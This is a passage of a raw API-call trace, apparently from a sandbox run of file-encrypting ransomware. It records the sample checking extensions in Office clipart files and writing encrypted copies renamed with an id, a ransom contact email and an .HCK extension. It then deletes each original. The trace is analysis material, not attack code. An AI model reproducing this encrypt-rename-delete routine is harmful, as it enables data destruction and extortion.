68 [0166.305] lstrlenW (lpString=".zip") returned 4 [0166.305] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.305] lstrlenW (lpString=".rar") returned 4 [0166.305] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.305] lstrlenW (lpString=".bz2") returned 4 [0166.305] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.305] lstrlenW (lpString=".7z") returned 3 [0166.305] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0166.305] lstrlenW (lpString=".dbf") returned 4 [0166.305] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0166.305] lstrlenW (lpString=".1cd") returned 4 [0166.305] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0166.305] lstrlenW (lpString=".jpg") returned 4 [0166.305] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.305] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0166.305] lstrlenW (lpString="J0105380.WMF") returned 12 [0166.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0166.311] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=4624) returned 1 [0166.311] CloseHandle (hObject=0x394) returned 1 [0166.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 0x220 [0166.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0166.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0166.319] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.319] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0166.327] GetLastError () returned 0x0 [0166.327] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1210, lpOverlapped=0x0) returned 1 [0166.329] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1220, lpOverlapped=0x0) returned 1 [0166.330] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.330] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0166.330] SetEndOfFile (hFile=0x2e8) returned 1 [0166.332] CloseHandle (hObject=0x2e8) returned 1 [0166.332] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.333] SetEndOfFile (hFile=0x360) returned 1 [0166.338] CloseHandle (hObject=0x360) returned 1 [0166.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0166.340] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 1 [0166.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0166.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0166.345] lstrlenW (lpString=".doc") returned 4 [0166.345] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.345] lstrlenW (lpString=".docx") returned 5 [0166.345] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0166.345] lstrlenW (lpString=".pdf") returned 4 [0166.345] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.345] lstrlenW (lpString=".xls") returned 4 [0166.345] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.345] lstrlenW (lpString=".xlsx") returned 5 [0166.345] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0166.345] lstrlenW (lpString=".ppt") returned 4 [0166.345] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0166.345] lstrlenW (lpString=".zip") returned 4 [0166.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.345] lstrlenW (lpString=".rar") returned 4 [0166.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.345] lstrlenW (lpString=".bz2") returned 4 [0166.345] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.345] lstrlenW (lpString=".7z") returned 3 [0166.345] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0166.345] lstrlenW (lpString=".dbf") returned 4 [0166.345] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0166.345] lstrlenW (lpString=".1cd") returned 4 [0166.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0166.345] lstrlenW (lpString=".jpg") returned 4 [0166.345] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0166.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0166.345] lstrlenW (lpString=".doc") returned 4 [0166.345] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.345] lstrlenW (lpString=".docx") returned 5 [0166.345] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0166.345] lstrlenW (lpString=".pdf") returned 4 [0166.345] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.345] lstrlenW (lpString=".xls") returned 4 [0166.345] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.345] lstrlenW (lpString=".xlsx") returned 5 [0166.345] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0166.346] lstrlenW (lpString=".ppt") returned 4 [0166.346] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0166.346] lstrlenW (lpString=".zip") returned 4 [0166.346] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.346] lstrlenW (lpString=".rar") returned 4 [0166.346] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.346] lstrlenW (lpString=".bz2") returned 4 [0166.346] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.346] lstrlenW (lpString=".7z") returned 3 [0166.346] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0166.346] lstrlenW (lpString=".dbf") returned 4 [0166.346] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0166.346] lstrlenW (lpString=".1cd") returned 4 [0166.346] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0166.346] lstrlenW (lpString=".jpg") returned 4 [0166.346] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.346] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0166.346] lstrlenW (lpString="J0105390.WMF") returned 12 [0166.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0166.353] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=4944) returned 1 [0166.354] CloseHandle (hObject=0x354) returned 1 [0166.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 0x220 [0166.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0166.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0166.383] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.384] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0166.431] GetLastError () returned 0x0 [0166.431] ReadFile (in: hFile=0x354, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1350, lpOverlapped=0x0) returned 1 [0166.435] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1360, lpOverlapped=0x0) returned 1 [0166.435] ReadFile (in: hFile=0x354, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.435] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0166.435] SetEndOfFile (hFile=0x370) returned 1 [0166.475] CloseHandle (hObject=0x370) returned 1 [0166.497] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.497] SetEndOfFile (hFile=0x354) returned 1 [0166.515] CloseHandle (hObject=0x354) returned 1 [0166.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0166.539] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 1 [0166.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0166.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0166.693] lstrlenW (lpString=".doc") returned 4 [0166.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.693] lstrlenW (lpString=".docx") returned 5 [0166.693] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0166.693] lstrlenW (lpString=".pdf") returned 4 [0166.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.693] lstrlenW (lpString=".xls") returned 4 [0166.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.693] lstrlenW (lpString=".xlsx") returned 5 [0166.693] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0166.693] lstrlenW (lpString=".ppt") returned 4 [0166.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0166.693] lstrlenW (lpString=".zip") returned 4 [0166.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.694] lstrlenW (lpString=".rar") returned 4 [0166.694] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.694] lstrlenW (lpString=".bz2") returned 4 [0166.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.694] lstrlenW (lpString=".7z") returned 3 [0166.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0166.694] lstrlenW (lpString=".dbf") returned 4 [0166.694] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0166.694] lstrlenW (lpString=".1cd") returned 4 [0166.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0166.694] lstrlenW (lpString=".jpg") returned 4 [0166.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0166.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0166.694] lstrlenW (lpString=".doc") returned 4 [0166.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.694] lstrlenW (lpString=".docx") returned 5 [0166.694] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0166.694] lstrlenW (lpString=".pdf") returned 4 [0166.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.694] lstrlenW (lpString=".xls") returned 4 [0166.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.694] lstrlenW (lpString=".xlsx") returned 5 [0166.694] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0166.694] lstrlenW (lpString=".ppt") returned 4 [0166.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0166.694] lstrlenW (lpString=".zip") returned 4 [0166.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.694] lstrlenW (lpString=".rar") returned 4 [0166.694] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.694] lstrlenW (lpString=".bz2") returned 4 [0166.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.694] lstrlenW (lpString=".7z") returned 3 [0166.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0166.694] lstrlenW (lpString=".dbf") returned 4 [0166.694] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0166.694] lstrlenW (lpString=".1cd") returned 4 [0166.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0166.694] lstrlenW (lpString=".jpg") returned 4 [0166.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.694] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0166.694] lstrlenW (lpString="J0105414.WMF") returned 12 [0166.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0166.712] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=6244) returned 1 [0166.712] CloseHandle (hObject=0x394) returned 1 [0166.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 0x220 [0166.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0166.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0166.727] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.727] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0166.738] GetLastError () returned 0x0 [0166.738] ReadFile (in: hFile=0x394, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1864, lpOverlapped=0x0) returned 1 [0166.745] WriteFile (in: hFile=0x378, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1870, lpOverlapped=0x0) returned 1 [0166.746] ReadFile (in: hFile=0x394, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.746] WriteFile (in: hFile=0x378, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0166.746] SetEndOfFile (hFile=0x378) returned 1 [0166.761] CloseHandle (hObject=0x378) returned 1 [0166.765] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.765] SetEndOfFile (hFile=0x394) returned 1 [0166.770] CloseHandle (hObject=0x394) returned 1 [0166.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0166.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 1 [0166.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0166.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0166.776] lstrlenW (lpString=".doc") returned 4 [0166.776] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.776] lstrlenW (lpString=".docx") returned 5 [0166.776] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0166.776] lstrlenW (lpString=".pdf") returned 4 [0166.776] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.776] lstrlenW (lpString=".xls") returned 4 [0166.776] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.776] lstrlenW (lpString=".xlsx") returned 5 [0166.776] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0166.776] lstrlenW (lpString=".ppt") returned 4 [0166.776] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0166.777] lstrlenW (lpString=".zip") returned 4 [0166.777] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.777] lstrlenW (lpString=".rar") returned 4 [0166.777] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.777] lstrlenW (lpString=".bz2") returned 4 [0166.777] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.777] lstrlenW (lpString=".7z") returned 3 [0166.777] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0166.777] lstrlenW (lpString=".dbf") returned 4 [0166.777] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0166.777] lstrlenW (lpString=".1cd") returned 4 [0166.777] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0166.777] lstrlenW (lpString=".jpg") returned 4 [0166.777] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0166.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0166.777] lstrlenW (lpString=".doc") returned 4 [0166.777] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.777] lstrlenW (lpString=".docx") returned 5 [0166.777] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0166.777] lstrlenW (lpString=".pdf") returned 4 [0166.777] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.777] lstrlenW (lpString=".xls") returned 4 [0166.777] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.777] lstrlenW (lpString=".xlsx") returned 5 [0166.777] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0166.777] lstrlenW (lpString=".ppt") returned 4 [0166.777] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0166.777] lstrlenW (lpString=".zip") returned 4 [0166.777] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.777] lstrlenW (lpString=".rar") returned 4 [0166.777] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.777] lstrlenW (lpString=".bz2") returned 4 [0166.777] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.777] lstrlenW (lpString=".7z") returned 3 [0166.777] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0166.777] lstrlenW (lpString=".dbf") returned 4 